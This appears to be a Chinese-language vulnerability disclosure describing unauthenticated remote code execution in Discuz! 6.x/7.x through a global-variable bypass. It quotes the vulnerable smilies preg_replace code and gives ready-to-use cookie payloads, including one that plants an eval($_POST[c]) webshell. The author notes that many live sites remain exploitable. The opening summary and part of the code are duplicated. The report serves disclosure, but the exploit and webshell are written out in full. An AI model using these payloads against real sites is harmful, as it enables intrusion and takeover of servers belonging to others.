### 简要描述: 最近总有人翻旧程序,我也翻一个出来! Discuz!某版本虽然停止维护,但使用量还很可观,各大厂商或多或少都有使用。 有条件,直接存在命令执行,但目前大多默认配置直接支持。 此漏洞在互联网上公开过,但厂商不认为是漏洞? 还是那句:没有POC,你说个jb! 不登陆,直接执行 ### 详细说明: 影响版本:Discuz! 6.x/7.x 全局变量防御绕过漏洞 互联网比较有人公开过,看:http://www.80vul.com/dzvul/sodb/19/sodb-2010-01.txt 那时描述是:Discuz! 6.x/7.x 全局变量防御绕过漏洞 POC : 缺 可能由于作者没有放出POC,因此没有得到别人重视。 此漏洞利用的地方有很多,不限制这个命令执行。 漏洞原理就不说了,这里说说漏洞利用: 文件: include/discuzcode.func.php ``` function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) { global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl; if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')) !== FALSE) { $message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message); } $msglower = strtolower($message);...
### 简要描述: 最近总有人翻旧程序,我也翻一个出来! Discuz!某版本虽然停止维护,但使用量还很可观,各大厂商或多或少都有使用。 有条件,直接存在命令执行,但目前大多默认配置直接支持。 此漏洞在互联网上公开过,但厂商不认为是漏洞? 还是那句:没有POC,你说个jb! 不登陆,直接执行 ### 详细说明: 影响版本:Discuz! 6.x/7.x 全局变量防御绕过漏洞 互联网比较有人公开过,看:http://www.80vul.com/dzvul/sodb/19/sodb-2010-01.txt 那时描述是:Discuz! 6.x/7.x 全局变量防御绕过漏洞 POC : 缺 可能由于作者没有放出POC,因此没有得到别人重视。 此漏洞利用的地方有很多,不限制这个命令执行。 漏洞原理就不说了,这里说说漏洞利用: 文件: include/discuzcode.func.php ``` function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) { global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl; if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')) !== FALSE) { $message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message); } $msglower = strtolower($message); //$htmlon = $htmlon && $allowhtml ? 1 : 0; if(!$htmlon) { $message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspecialchars($message); } if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) { if(!$discuzcodes['smiliesreplaced']) { foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) { $GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />'; } $discuzcodes['smiliesreplaced'] = 1; } $message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies); } ``` 注意到 119 行: $message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies); 因此,直接cookie中带 GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); 即可执行。 请求中Cookie带 GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B; 即一句话木马,此后门漏洞十分隐蔽,不容易发现。 随便 google 验证了一下,发现还是有大量中招的。 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201410/25150105bc4c76224122bd0468902b688a1ecd31.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/25150105bc4c76224122bd0468902b688a1ecd31.jpg) [<img src="https://images.seebug.org/upload/201410/25150208f0a2b047d39b0560386dd89496804e60.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/25150208f0a2b047d39b0560386dd89496804e60.jpg)